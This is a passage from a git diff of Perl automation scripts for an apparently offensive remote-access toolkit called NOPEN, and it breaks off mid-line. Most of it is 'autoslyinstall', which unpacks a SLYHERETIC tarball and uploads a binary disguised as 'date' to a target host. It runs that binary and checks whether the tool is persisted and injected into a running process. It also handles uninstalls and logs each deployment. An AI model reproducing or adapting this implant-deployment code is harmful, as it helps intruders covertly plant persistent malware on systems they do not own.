($output,$nopenlines,@output) = doit("@ARGV"); + my ($count,$outlines) = (1); + foreach (@output) { + $_ = $COLOR_NORMAL.$_.$COLOR_NOTE; + $outlines .= sprintf("line %03d: $_\n",$count++) + } + progprint("Results of (\$output,\$nopenlines,\@output)= doit(\"@ARGV\"):\n\n". + "\$nopenlines = \"$COLOR_FAILURE.$nopenlines$COLOR_NOTE\"\n". + "\$output = \"$COLOR_NORMAL$output$COLOR_NOTE\"\n". + "\@output (newlines added back in) = (\n".$outlines. + " \n)" + ); +} + +if ($opt_O) { + progprint("This output is from progprint(@ARGV)\n\n". + "(See also $optmp/dammit for output from a call to dbg following this.)" + ); + dbg("This output is from dbg(@ARGV)"); + mywarn("This output is from mywarn(@ARGV)"); + dolocalecho("This output is from dolocalecho(@ARGV)"); + dolocalecho("This output is from dolocalecho(@ARGV,POPUP)",POPUP); +} + +if ($opt_I) { + my ($ans,$longans) = mygetinput("Answer this prompt with something:","nothing"); + my $more = "(You entered no input, so the default of \"nothing\" was used)\n" + if ($longans eq "nothing"); + progprint($COLOR_NORMAL."\n\n". + $more. + "RESPONSE:\n". + " \$ans = $ans\n". + " \$longans = $longans\n". + ""); + offerabort("This is a call to offerabort(), with a default of Continue.","C"); + progprint("You did NOT answer abort above."); +} + + +if ($opt_S) { + my $scriptlist = ""; + while (@scriptlist) { + my $c1 = shift @scriptlist; + my $c2 = shift @scriptlist; + my $c3 = shift @scriptlist; + $scriptlist .= sprintf(" %-22s %-22s %s\n",$c1,$c2,$c3); + } + mydie($COLOR_NORMAL."\n\n". + "There are $scriptcount auto* scripts in $opetc. \n\n". + $scriptlist."\n\n". + "Each ought to have usage statement available with the -h option, and some have\n". + "a longer usage available with -H. E.g., -gs rsync -h and -gs rsync -H.\n\n". + "Run -gs helpall to see usage for all of them (LAB ONLY). Output from that is\n". + "saved in $opetc/helpall.output." + ) ; + +} + +# Called via do so must end with 1; +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs skeleton @ARGV"; + if ($willautoport and $socket) { + $stoiccmd = "in $prog, called as: skeleton(@ARGV)"; + dbg("via require autoskeleton ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); +# progprint("$prog called -gs skeleton @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs skeleton"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "hvDTOIFSN:" ) ) ; + + ########################################################################### + # Set strings used in usage before calling it + ########################################################################### + + (@scriptlist) = split(/\n/,`cd $opetc ; ls -1 auto* | sort`); + @scriptlist = grep ! /\.old/ , @scriptlist; + @scriptlist = grep ! /\.bak/ , @scriptlist; + @scriptlist = grep ! /^autoport\./ , @scriptlist; + @scriptlist = grep ! /\~/ , @scriptlist; + @scriptlist = grep ! /(bz2|[0-9])$/ , @scriptlist; + $scriptcount = @scriptlist; + + mydie("You cannot use -N $opt_N when this script already exists:\n\n". + `ls -al $opetc/auto$opt_N`) if (-f "$opetc/auto$opt_N"); + + if ($opt_F) { + + my (@functionlist) = sort split(/\n/,`cd $opetc ; grep "^sub [a-z]" autoutils | sed "s, {,,g" | sed "s/^sub //g"`); + $functioncount = @functionlist; + my $functionlist = ""; + my (@c1,@c2,@c3) = (); + while (@functionlist) { + if (@functionlist > 2*$functioncount/3) { + push(@c1,shift @functionlist); + } elsif (@functionlist > $functioncount/3) { + push(@c2,shift @functionlist); + } else { + push(@c3,shift @functionlist); + } + } + while (@c1 or @c2 or @c3) { + $functionlist .= sprintf(" %-22s %-22s %s\n",shift(@c1),shift(@c2),shift(@c3)); +# $functionlist .= sprintf(" %-22s %-22s %s\n",shift(@c1)); shift(@c2); shift(@c3); +# $functionlist .= sprintf(" %-22s %-22s %s\n",shift(@c2)); shift(@c1); shift(@c3); +# $functionlist .= sprintf(" %-22s %-22s %s\n",shift(@c3)); shift(@c2); shift(@c1); + } + mydie($COLOR_NORMAL."\n\n". + "There are $functioncount functions/subroutines in autoutils:\n". + $functionlist + ) ; + + } + + +# my $half = int(@functionlist/2); +# for (my $i=0; $i < $half; $i++) { +# $functionlist .= sprintf(" %-35s %s\n",$functionlist[$i],$functionlist[$i+$half]); +# } +# $functionlist .= sprintf(" %-35s %s\n","",$functionlist[$#functionlist]) +# unless (@functionlist % 2); + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + + usage() if ($opt_h or $opt_v or $opt_N or + !($opt_D or $opt_T or $opt_O or $opt_I or $opt_F or $opt_S # or $opt_ + ) + ); + + # Connect to autoport, we need status and more interactively. + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + ## ERROR CHECKING OF OPTS + +} + +sub setusagetexts { + # Separate long usage strings as separate function + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=skeleton\" is used. + +"; + my $newname = $opt_N unless ($opt_N =~ /[\/\s]/); + $newname = "NEWNAME" unless $newname; + + $gsusagetext=" +Usage: $prog [OPTIONS] + +$prog is a teaching tool meant to help understand how NOPEN automation, +via Perl, is done. It is restricted to the lab, only. + +To use it as a starting point for your own script, copy it to your own new +files, modify them to your needs. Use the -N NAME option to change the +pastables below to the name of your choice (entire block can be +pasted at once): + + -lsh + cd $opetc + sed \"s,skeleton,$newname,g\" autoskeleton > auto$newname + chmod 700 auto$newname + sed \"s,skeleton,$newname,g\" gs.skeleton > gs.$newname + exit + -gs $newname -h + + -D ARGs Run dbg(\"ARGs\"), which sends that string, timestamped, to the file + $optmp/dammit. This is useful in scripts that have forked or + closed their stdout/err. + -F $opetc/autoutils has $functioncount subroutines useful in many situations. + This option shows a list in alphabetic order. + -I User input functions in autoutils: + (\$ans,\$longans) = mygetinput(\$prompt,\@moreargs) + Prompts the user, output returned: \$ans is the first + letter only, lowercase; \$longans is the entire response. + (\$ans,\$longans) = offerabort(\$prompt,\@moreargs) + Same as mygetinput, but adds a \"Continue or Abort\" to + the prompt, and calls mydie() if the user aborts. + -N NAME Change above pastables to use \"NAME\" instead of \"NEWNAME\" + -O Output functions: + progprint(\@opts) + Prints output to the screen. Options allow for things + like color, a pause, perl's stdout being closed, etc. + mywarn(\@opts) + Uses dolocalecho and options similar to progprint to + show output, color defaults to red. + dolocalecho(\@opts) + Uses a local echo instead of perl's I/O. Optionally, if + the final argument is \"popup\", does so in a popped xterm. + -S $opetc/ has $scriptcount auto* perl scripts. This option shows a + list in alphabetic order. + -T CMD Run doit(\"CMD\") and show the results + (\$output,\$nopenlines,\@output) = doit(\$cmd) + doit() runs \$cmd interactively on target, returning the + results in two scalars and an array. The first scalar + is the multiline output from target, which is also returned + in the array, one line per element. The middle scalar is + not very useful--it is the NOPEN prompt/timestamp lines. + + +Usage: $prog [OPTIONS] + +"; +}#setusagetexts diff --git a/Linux/etc/autoslyinstall b/Linux/etc/autoslyinstall new file mode 100755 index 0000000..08dabb9 --- /dev/null +++ b/Linux/etc/autoslyinstall @@ -0,0 +1,946 @@ +#!/usr/bin/env perl +## + +use File::Basename ; +$VER="1.0.0.2"; + +$| = 1 ; +my $tarball=""; +my ($installoutput,$errcode,$errstring,$success) = (); +my ($allcontent,$allwarning) = (); +my ($alreadyrunning,$alreadyinstalled,$alreadyrunningbefore,$alreadyinstalledbefore) = () ; +$versionfile = ""; + +myinit() ; + +if ($ARGV[0]) { + $warning = "$ARGV[0] does not exist\n\n" if + ($tarball ne "NULL" and + (! -f $tarball) + ); +} +unless ($logonly or $checkpersistonly or $deinstallonly) { + while (!$tarball) { + my @rest=(); + @rest = ("none") if @ARGV; + ($tarball,$long) = mygetinput("${warning}What tarball (or ABORT)?",@rest); + if (lc $tarball eq "none") { + $tarball = ""; + last; + } + mydie("User aborted") if $tarball =~ /^a/i; + unless (!$tarball or -f $tarball) { + mywarn("$tarball: File does not exist"); + $tarball = ""; + } + } +} + +my ($newhostinfocontent,$extrahostinfocontent, + %newhostinfocontentfile,%extrahostinfocontentfile) = (); +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + + +my $slyinstalldir = $targetcwd; + +unless ($logonly or $targetcwd eq $workdir) { + my ($ans) = mygetinput("Your working directory is not $workdir.\n". + "Do you want to -cd to $workdir first?","Y"); + if ($ans eq "y") { + my ($output,$nopenlines,@output) + = doit("-cd $workdir"); + mydie("Up-arrow and run it again now that you are in $workdir"); + $slyinstalldir = $workdir; + } else { + newhostvar("host_workingdir",$targetcwd); + } +} + +my $hostfile = "$opdown/hostinfo.$nopen_rhostname"; +if (! -f $hostfile and -f "$hostfile.0000") { + my @list = split(/\n/,`ls -rt1 $hostfile*`); + rename($list[$#list],$hostfile); +} + +offerabort + ("Normally, NOPEN should have run autodone by this time and\n\n". + " $hostfile\n\n". + "would exist by now. You can abort now and run:\n\n". + " -gs auto new\n\n". + "if you want a complete hostinfo file for $prog to append to.\n\n". + "If you continue, $prog will create a partial hostinfo file." + ) unless -s $hostfile; + +my $count = 0; +$count++ while -e "$optmp/${nopen_rhostname}.install.$count"; +$count-- if ($logsuccess or $logfailure); +my $localinstalldir = "$optmp/${nopen_rhostname}.install.$count" if $count >= 0; +if ($deinstallonly and ! -s $tarball) { + $localinstalldir = "$opdir"; + my $targettype = ""; + my @deinstallbinaries = (); + while (!$deinstallbinary) { + (@deinstallbinaries) = reverse sort (findfilematching("uninstall/i","f","$localinstalldir/up","$opdir/fg",$optmp)) + unless @deinstallbinaries; + ($deinstallbinary) = grep /64-linux/i , @deinstallbinaries if ($intel64target and $linuxtarget); + ($deinstallbinary) = grep /linux/i , @deinstallbinaries if ( !$deinstallbinary and $linuxtarget); + ($deinstallbinary) = grep /64-darwin/i , @deinstallbinaries if ($intel64target and $darwintarget); + ($deinstallbinary) = grep /darwin/i , @deinstallbinaries if ( !$deinstallbinary and $darwintarget); + ($deinstallbinary) = grep /solaris/i , @deinstallbinaries if ( !$deinstallbinary and $solaristarget); + (undef,$deinstallbinary) = mygetinput + ("When uninstalling and no tarball is provided, you need to provide $prog\n". + "a full path to your uninstall binary, or you can ABORT.\n". + "Uninstaller to use: ", + $deinstallbinary); + mydie("User aborted") if ( lc $deinstallbinary eq "a" or lc $deinstallbinary eq "abort"); + } + +} else { + unless (!$localinstalldir or -d $localinstalldir) { + mkdir $localinstalldir or mydie("Could not create $localinstalldir"); + } + chdir $localinstalldir or mydie("Could not cd to $localinstalldir"); +} + + +if ($checkpersistonly ) { #or $deinstallonly) { + checkpersist($slyveropt); +} +# This part is only when we have a tarball +dbg("Calling: handle($tarball) if tarball=$tarball or logonly=$logonly;"); +if ($tarball or $logonly or $deinstallonly) { + my $progress = handle($tarball,$deinstallbinary) ; +} + +1; +## END MAIN ## + +sub findversionfile { + local ($dir,$matchstring,$optional) = (@_); + # Returns content of only file in $dir matching $matchstring, which defaults to etc.version + # (match is case insensitive). Unless $optional is set, the file must be there or we mydie(). + + return "" unless ($dir and -d $dir); + $matchstring = "etc.version" unless $matchstring; + my @lines = split(/\n/,`cd $dir 2>/dev/null && find . 2>/dev/null | grep -i "$matchstring" 2>/dev/null`); + return "$dir/$lines[0]" if (@lines == 1 and -s "$dir/$lines[0]" > 0); + my $what = "has more than one"; + $what = "has an empty" if (@lines == 1); + mydie(`cd $dir 2>&1 && find . -ls 2>&1 | grep -i etc.version`."\n". + "Your tarball, unpacked here:\n". + " $dir\n". + "$what version file. Fix that and try again.") + unless $optional; +} +# findversionfile + +sub handle { + local ($targetball,$deinstallbinary) = (@_); + my $baseball = basename $targetball; +# dbg("In handle(@_)"); + my %toolindex = (); # key=0-N index value=toolname + my $output; + $targetball = "NULL" unless $targetball; + $versionfile = findversionfile($localinstalldir,undef,1); + if (!$logonly or $logfailureball or $logsuccessball) { + unless ($targetball eq "NULL") { + `tar xvjf $targetball 2>$localinstalldir/tar.$baseball.err`; + $versionfile = findversionfile($localinstalldir); + mydie("Could not properly untar $tarball:\n".`cat $localinstalldir/tar.$baseball.err`) + if (! (-f $versionfile) or + (-s "$localinstalldir/tar.$baseball.err")); + } + if (-f $targetball) { + progprint($COLOR_NORMAL."\n\n\n". + "Just unpacked in $localinstalldir:\n\n". + `cd $localinstalldir ; find . -name tar.$baseball.err -prune -o -type f -ls | sed "s/.* root //g"`. + "\n\ncat $versionfile\n". + `cat $versionfile 2>/dev/null`); + } + $logsuccess = $logsuccessball if $logsuccessball; + $logfailure = $logfailureball if $logfailureball; + + ($deinstallbinary) = findfilematching("uninstall/i","f","$localinstalldir/up") + unless $deinstallbinary; + } + if ($deinstallonly) { + mydie("-u $deinstallbinary not there or not in an /up/ directory\n\n". + `ls -al $deinstallbinary 2>/dev/null`) + unless (-f $deinstallbinary and $deinstallbinary =~ m,/up/,); + } + + my @versions = readfile("ARRAY",$versionfile); + + my ($slyver) = grep /SLYHERETIC/i, @versions; + $slyver =~ s,.*SLYHERETIC.*v,,i; + $slyver =~ s,\s,,g; + + my (@datefiles) = findfilematching("date","f","$localinstalldir/up"); + my ($persistentdatefile) = grep /persistent/i , (grep ! /nonpersistent/i , @datefiles); + my ($nonpersistentdatefile) = grep /nonpersistent/i , @datefiles; + my $datefile = $persistentdatefile; + $datefile = $nonpersistentdatefile if $donotpersist; + mydie("No current or prior install directories found in $optmp\n". + "for $nopen_rhostname") + unless -d $localinstalldir; + mydie("SLYHERETIC build has wrong number of date binaries in\n". + " $localinstalldir\n". + "(".scalar @datefiles."), must be TWO") + if (!$deinstallonly and scalar @datefiles != 2); + + + if ($slyver) { + mydie("$prog only knows how to handle SLYHERETIC tarballs with two\n\t". + "up/date* packages and Slyheretic_Check* files:\n\n". + `cd $localinstalldir ; find . -type f -ls | sed "s,.* root ,,g"` + ) unless ($targetball eq "NULL" or + (-f $persistentdatefile and -f $nonpersistentdatefile) or + ($logsuccessball or $logfailureball)); + } else { + mydie("$prog\n\n". + "There are not any valid installable tools in that file:\n". + "$COLOR_NORMAL\n". + `cd $localinstalldir ; find . -type f -ls | sed "s,.* root ,,g"` + ); + } + +# dbg("DBG: +#persistentdatefile=$persistentdatefile= nonpersistentdatefile=$nonpersistentdatefile= slyinstall=$slyinstall= slyver=$slyver= +#targetball=$targetball= slyver=$slyver= localinstalldir=$localinstalldir= deinstallbinary=$deinstallbinary="); + + my $problems = ""; +# unless ($deinstallonly) { + $versionfile = findversionfile($localinstalldir,undef,1); + + my ($installedtools,$nopenlines,@installedoutput) + = doit("-lsh cat $versionfile") if (-f $versionfile and -s _); + my ($solaristoolversion, + $linuxtoolplatform, + $solaristoolplatform, + $freebsdtoolplatform, + $inteltoolplatform, + $sparctoolplatform, + $toolcomment,@comment, + $toolversion, + ) = (); + + foreach (@installedoutput) { + next if /None vNone/; + s/\s/ /g; + if (-e "$localinstalldir/etc/VERSION") { + ($tool,$toolplatform,$toolversion,@comment) = split; + } else { + ($tool,$toolversion,$toolplatform,@comment) = split; + } + if ($toolversion =~ /(linux|solaris)/i and + $toolplatform =~ /\d+\.\d+/) { + ($toolversion,$toolplatform) = ($toolplatform,$toolversion); + } + $toolcomment = join(" ",@comment); + $linuxtoolplatform = $1 if + $toolplatform =~ /(\S*linux\S*)/i; + + # SOLARIS + $solaristoolplatform = $1 if + $toolplatform =~ /(\S*(sunos|solaris)\S*)/i; + if ($solaristoolplatform =~ /([\d\.]+)$/) { + $solaristoolversion = $1; + } + + # JUNOS + $junostoolplatform = $1 if + $toolplatform =~ /(\S*junos\S*)/i; + if ($junostoolplatform =~ /([\d\.]+)$/) { + $junostoolversion = $1; + } + + # FREEBSD + $freebsdtoolplatform = $1 if + $toolplatform =~ /(\S*(freebsd)\S*)/i; + if ($freebsdtoolplatform =~ /([\d\.]+)$/) { + $freebsdtoolversion = $1; + } + + # HARDWARE + $inteltoolplatform = $1 if + $toolplatform =~ /(\S*[i3456x]+86\S*)/; + $sparctoolplatform = $1 if + $toolplatform =~ /(\S*(sparc|sun4[umc])\S*)/; + + my $sure = 0; + $problems .= " Mismatch on: $tool $toolversion $toolplatform\n" + if (($linuxtarget and !$linuxtoolplatform) or + ($solaristarget and !$solaristoolplatform) or + ($freebsdtarget and !$freebsdtoolplatform) or + ($junostarget and !$junostoolplatform) or + ($inteltarget and !$inteltoolplatform) or + ($sparctarget and !$sparctoolplatform) or + ($freebsdtoolplatform and $freebsdtargetversion + and ($freebsdtargetversion !~ /$freebsdtoolversion/)) or + ($solaristoolversion and $solaristargetversion + and $solaristoolversion ne $solaristargetversion) or + ($junostoolversion and $junostargetversion + and $junostoolversion ne $junostargetversion) + ); + $toolversion =~ s/^v(ersion|\s)*//; + ($toolversion) = $toolversion =~ /((\d+\.*){1,8})/; + dbg("INSIDE:$_ + linuxtarget=$linuxtarget + solaristarget=$solaristarget solaristargetversion=$solaristargetversion + solaristoolversion=$solaristoolversion solaristargetversion=$solaristargetversion + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + + freebsdtarget=$freebsdtarget= + freebsdtoolplatform=$freebsdtoolplatform + freebsdtargetversion=$freebsdtargetversion + freebsdtoolversion=$freebsdtoolversion + + + problems=$problems== + +toolplatform=$toolplatform= +toolversion=$toolversion= +tool=$tool= +comment=(@comment) +"); + push @tools,$tool; + $toolindex[$tool] = scalar @tools - 1; + $toolindex["SLIPPERYSCALPEL"] = @tools - 1 + if ($tools[$i] =~ /SLIPPERYSCALPEL/i); + push @versions,$toolversion; + push @toolplatforms,$toolplatform; + push @comments,$toolcomment; + if (!$slyveropt and lc $tool eq "slyheretic" and $toolversion =~ /((\d+\.*){1,8})$/) { +#offerabort("Changing from slyveropt=$slyveropt= to 1=$1= from toolversion=$toolversion="); +#($ans,$usever) = mygetinput("DBG: 1=$1= usever=$usever= toolversion=$toolversion=",$usever); +#mydie() if $ans eq "a"; + $slyveropt = $1; + } + } +# } + dbg(" + linuxtarget=$linuxtarget + solaristarget=$solaristarget + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + problems=$problems= +"); + + my $slyinstall = "@tools" =~ /slyheretic/i; + $slyinstall = 0 if $deinstallonly; + + if ($problems) { + my $more = "\n(OS version mismatch: $solaristoolversion ne $solaristargetversion)" + if $solaristoolversion ne $solaristargetversion; + offerabort + ($COLOR_FAILURE.$problems."\n\n". + "WE HAVE A PROBLEM HERE.\n$COLOR_NORMAL\n". + "Target OS: $nopen_serverinfo\n\n". + "Target OS does not match one or more tool platforms.\n\n". + "There appears to a conflict here.".$more, + "A" + ); + offerabort + ($COLOR_FAILURE."ARE YOU SURE?"); + } + + $remotename = "date" unless $remotename; + my $domore = " ; echo $?" unless $remotename eq "date"; + while (!$deinstallonly and !$logonly) { + my ($remoteexists,$nopenlines,@output) + = doit("-ls $slyinstalldir/$remotename"); + if ($remoteexists) { + my ($ans,$newname) = mygetinput + ("Remote file \"$remotename\" already exists. If you CONTINUE,\n". + "you will have to answer \"YES\" to overwrite that file,$COLOR_FAILURE\n". + "AND THAT FILE DOES NOT APPEAR TO BE OURS!\n$COLOR_NORMAL\n". + "If you enter some other name, $prog will try to use that.\n\n". + "Enter \"CONTINUE\" or \"$remotename\" to continue with the name ". + "\"$remotename\",\"ABORT\" to abort, or enter the new name to use: \n", + "CONTINUE" + ); + mydie("User aborted") + if ($newname =~ /^a(bort){0,1}$/i); + last if $newname eq "CONTINUE"; + $remotename = $newname; + } else { + last; + } + } + + my $morecheck = ""; + unless ($logonly) { + $datefile = $deinstallbinary if ($deinstallonly); + + offerabort + ("Looks like the target matches the tarball.\n\n". + "About to upload and execute\n". + " $datefile$solarismore. Last chance to bail.") + unless ($targetball eq "NULL" or $deinstallonly); + ($alreadyrunning,$alreadyinstalled) = checkpersist(undef,BEFORE); + ($alreadyrunningbefore,$alreadyinstalledbefore) = ($alreadyrunning,$alreadyinstalled) ; + $alreadyrunningbefore =~ s,^\n+,,g; + $alreadyinstalledbefore =~ s,^\n+,,g; + + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) + = stat($datefile); + + @errs = (); + if ($alreadyrunning or $alreadyinstalled) { + my ($prompt,$default) = + ("It seems SLYHERETIC is already there. Do you even NEED a fresh install?\n\n". + "You must choose UNINSTALL in order to continue with a fresh install.\n\n". + " UNINSTALL: We run the new installer, which does nothing to the injected\n". + " binary, but does uninstall and re-install the persisted one. The\n". + " new persisted binary likely will differ than the old one.\n". + " NOTE: The only way to uninstall the injected binary is with\n". + " the -U option.\n\n". +#Use the uninstaller to completely UNINSTALL previous SLY.\n". + #" CONTINUE : Continue with the install without ANY uninstall of the previous\n". + #" SLY. \n". + " ABORT : Abort and return to your NOPEN prompt\n\n". + "\n". + "You must UNINSTALL or ABORT. Choose:", + "UNINSTALL" + ); +#a=b TODO LEFTOFFHERE: This above never really happens, namely if we say UNINSTALL at that prompt it instead just willy nilly uses the installer and installs, which appears to uninstall sufficiently so ....wuwt? asked via email 04 NOV about this.....1720 or so + + + ($prompt,$default) = + ("Confirmed previous installation of SLYHERETIC is still present.\n". + "(See above and popped up CheckProcess and CheckPersist output.)\n\n". + "Last chance to bail before UNINSTALL proceeds.". + "\n\n or .","UNINSTALL" + ) if $deinstallonly; + my ($ans,$myans) = mygetinput($prompt,$default); + if ($ans eq "a") { + mydie("User aborted"); + } + ($ans,$myans) = ("u","UNINSTALL") if $deinstallonly; + +# TODO: Log the uninstalls properly with logtool()....need the old versions for that. + + +# if ($ans eq "d" or $ans eq "u") { +# $dowhat = "UNINSTALL"; +#dbg("Now errs=(@errs) nonerrs=(@nonerrs)"); +# if (@errs) { +# offerabort("$dowhat appeared to fail."); +# } +# } + } else { + mydie("SLYHERETIC does not appear to be there--no UNINSTALL required.") + if $deinstallonly; + } + if ($extracmd) { + ($ans,$extracmd) = mygetinput + ("You used the -p option: Enter the command or environment definition\n". + "you want to run before running \"$remotename$domore\" (or enter nothing\n". + "or enter ABORT to abort).\n\n". + "Extra command: "); + mydie("User aborted") + if ($extracmd =~ /^\s*abort/i); + $extracmd .= " " if (length $extracmd); + } + + ($output,$nopenlines,@output) + = doit("-put $datefile $slyinstalldir/$remotename"); + + mydie("\n\nUpload failed (wrong size or missing?), you have cleanup to do.") + unless ($output =~ m,-rwx------ .* $size .* $slyinstalldir/$remotename,); + + # ASSERT: $remotename is up there, executable and the right size. + + if ($dopause) { + doit("-ls $slyinstalldir/$remotename"); + offerabort("OK, here's the pause you asked for. Upload worked.\n\n". + "If you abort here, $remotename will$COLOR_FAILURE STILL BE UP THERE!!"); + } + doit("-cd $slyinstalldir") unless $targetcwd eq $slyinstalldir; + +# my ($newpath) = grep /PATH=/,nopenaddpath("."); +# mydie("This is bad, our PATH should start with $targetcwd and instead it is: PATH=$newpath") +# unless ($newpath =~ m,^PATH=$targetcwd:,); +#doit("which $remotename"); +#offerabort("DBG: about to run doit(${extracmd}$remotename$domore)"); + + ($installoutput,$nopenlines,@output) = + doit("${extracmd}./$remotename$domore"); + # CD back unless we did not cd, or we came from hidden dir. + doit("-cdp") unless ($targetcwd eq $slyinstalldir or + $targetcwd =~ m,/\.[a-f0-9]{32}, or + $targetcwd =~ m,/\.tmp[A-Za-z0-9_-]{6},); + } + ($alreadyrunning,$alreadyinstalled) = checkpersist(undef,AFTER); + $success = "SUCCESSFUL"; + if ($logonly) { + $success = "FAILED" if $logfailure or $logfailureball; + } else { + ($errcode,$errstring) = $installoutput =~ / \d\d:\d\d:(\d\d)/; + unless ($errcode eq "00" or ($deinstallonly and !$alreadyrunning and !$alreadyinstalled)) { + $success = "FAILED"; + if ($errstrings{int $errcode}) { + $errstring = $errstrings{int $errcode}; + } else { + $errstring = "UNKNOWN ERROR #: $errcode"; + if ($deinstallonly) { + $errstring = "UNKNOWN ERROR on UNINSTALL"; + $errstring .= ", output was: $installoutput" if $installoutput; + } + } + } + } + for (my $i=0;$i<@tools;$i++) { + my ($what1,$what2) = ("DEPLOYED","Installed"); + ($what1,$what2) = ("EXERCISED","Exercised") + unless ($installtype =~ /install/); + ($what1,$what2) = ("ACCESSD","Accessd") + if ($installtype eq "access"); + ($what1,$what2) = ("USED","Used") + if ($installtype eq "use"); + ($what1,$what2) = ("REMOVED","Removed") + if ($deinstallonly or $installtype eq "remove"); + my $others = " @tools"; + $others =~ s/ $tools[$i]//; + my $toolcomment = ""; + $toolcomment = " $comments[$i]" + if (length $comments[$i]); + if ($deinstallonly) { + $toolcomment .= " HAD BEEN Persisted $alreadyinstalledbefore" if $alreadyinstalledbefore; + $toolcomment .= " HAD BEEN injected into $alreadyrunningbefore" if $alreadyrunningbefore; + $toolcomment .= ", "; + } elsif ($donotpersist) { + $toolcomment .= " NON-persistent (so only injection), injected into $alreadyrunning"; + } else { + $toolcomment .= " Persisted $alreadyinstalled, injected into $alreadyrunning"; + } + if ($zfssnapshot) { + $zfssnapshot =~ s,([\r\n]),$1Tool Comments: ,g ; + $toolcomment .= " ZFS snapshot exists:\nTool Comments: $zfssnapshot"; + } + $toolcomment =~ s/\n/, /g; + +#offerabort("DBG:\n\n ". +# "$tools[$i]=\n". +# "$versions[$i]=\n". +# "$success=\n". +# "$what1=\n". +# "$toolcomment $what2 with$others $errstring=\n", +# ); + + my ($content,$warning) = logtool( + "$tools[$i]", + "$versions[$i]", + "$success", + "$what1", + "$toolcomment $what2 with$others $errstring", + ); + $allcontent .= $content; + $allwarning .= $warning; + } + + if ($tarball) { + mkdir "$optooldir/SLYHERETIC/"; + copy($tarball,"$optooldir/SLYHERETIC/INSTALLED_WITH_".basename($tarball)); + } + + progprint($COLOR_FAILURE. + "Finished.\n$progress\n$COLOR_NOTE\n". + "$prog just added these entries to\n". + "$hostfile:\n\n$COLOR_NORMAL".$allcontent. + "\n".$allwarning + ); + + ($output,$nopenlines,@output) + = doit("-ls $slyinstalldir/$remotename") unless $logonly; + if ($output and $success =~ /^successful/i) { + my ($ans) = offerabort + ("$COLOR_NORMAL\nPROPOSED HOSTINFO CONTENT:\n". + $newhostinfocontent."\n\n". + "$COLOR_FAILURE $output\n". + "$COLOR_NORMAL\n". + "The $remotename file still exists. This usually indicates failure,\n". + "but the output ending in :00 seemed to indicate success.\n\n". + "You can abort here and nothing will be logged to\n". + " $hostfile.\n". + "Or choose another option, which will log there:\n". + " 1) Change all statuses to \"Failed\"\n". + " C) Log it as successful anyway (really?)\n\n". + "Choose one, or", + "1","2" + ); + if ($ans eq "1") { + $newhostinfocontent =~ s/success\S+/FAILED/ig; + } + } + unless ($logonly) { + if ($deinstallonly) { + + + } else { + progprint("DBG: alreadyrunning,alreadyinstalled==$alreadyrunning,$alreadyinstalled=="); + my $instate = "successful"; + $instate = "to have FAILED!" if ($success =~ /fail/i); + progprint("\n$COLOR_FAILURE\n". + "Install appears $instate$solarismore! Its output was:\n$COLOR_NORMAL\n". + " $installoutput\n\n". + #"\nHit Enter to continue...". + ""); + } + } else { + my $which = "most recent install"; + $which = "contents of this tarball" if $logfailureball or $logsuccessball; + $output = "Logged $which ($localinstalldir) as: $success"; + } +# progprint($output); + return $output; +}#end sub handle + +sub checkpersist { + local ($slyver,$which) = (@_); + my ($usever,$abort) = (); + $which = "BEFORE" if ($deinstallonly and !$which); + if ($slyveropt) { + $usever = $slyveropt; + } else { + ($abort,$usever) = mygetinput + ("${warning}\n". + `cd $opup ; find ../up/slyheretic_checks/ -type f | grep -i checkp`."\n". + "Target platform is: $targetos\n\n". +#"DBG:slyver=$slyver=\n". + "What version of the above tools (or triple-click one such line)?"); + } +#(undef,$usever) = mygetinput("DBG slyveropt=$slyveropt= slyver=$slyver= usever=$usever= what is new usever?",$usever); + $usever = $2 if ($usever =~ /(_|v){0,1}((\d+\.*){1,8})/); + $slyveropt = $usever unless $slyveropt; + # This does not return + mydie("User aborted") if ($abort eq "a"); + $which = ".$which" if $which; +progprint("Called as checkpersist(@_)"); + my $finddir = $localinstalldir; + my ($checkpersistfile, $checkprocessfile) = (); + while (1) { +#(undef,$usever) = mygetinput("DBG slyveropt=$slyveropt= slyver=$slyver= usever=$usever= what is new usever?",$usever); + ($checkpersistfile) = findfilematching("CheckPersist.*$usever/i",f,$finddir,"$opup/slyheretic_checks"); + ($checkprocessfile) = findfilematching("CheckProcess.*$usever/i",f,$finddir,"$opup/slyheretic_checks"); + $slyver = $2 if ($checkprocessfile =~ /(v|_)(\d+\.\d+\.\d+\.\d+)/); + last if (-f $checkpersistfile and -f $checkprocessfile); + mydie("\n\nUnable to find a match to CheckP(rocess|ersist)$slyver in $finddir or $opup/slyheretic_checks.\n". + ""); + } + my ($lsdots,$psdots,$remotels,$remoteps) = (); + while (1) { + my $lsthis = ""; + unless ($remoteps) { + $lsthis .= " ps$psdots"; + #my ($output) = doit("-ls ps$psdots"); + } + unless ($remotels) { + #my ($output) = doit("-ls ls$lsdots"); + $lsthis .= " ls$lsdots"; + } + my ($output) = doit("-ls$lsthis") if $lsthis; + $remoteps 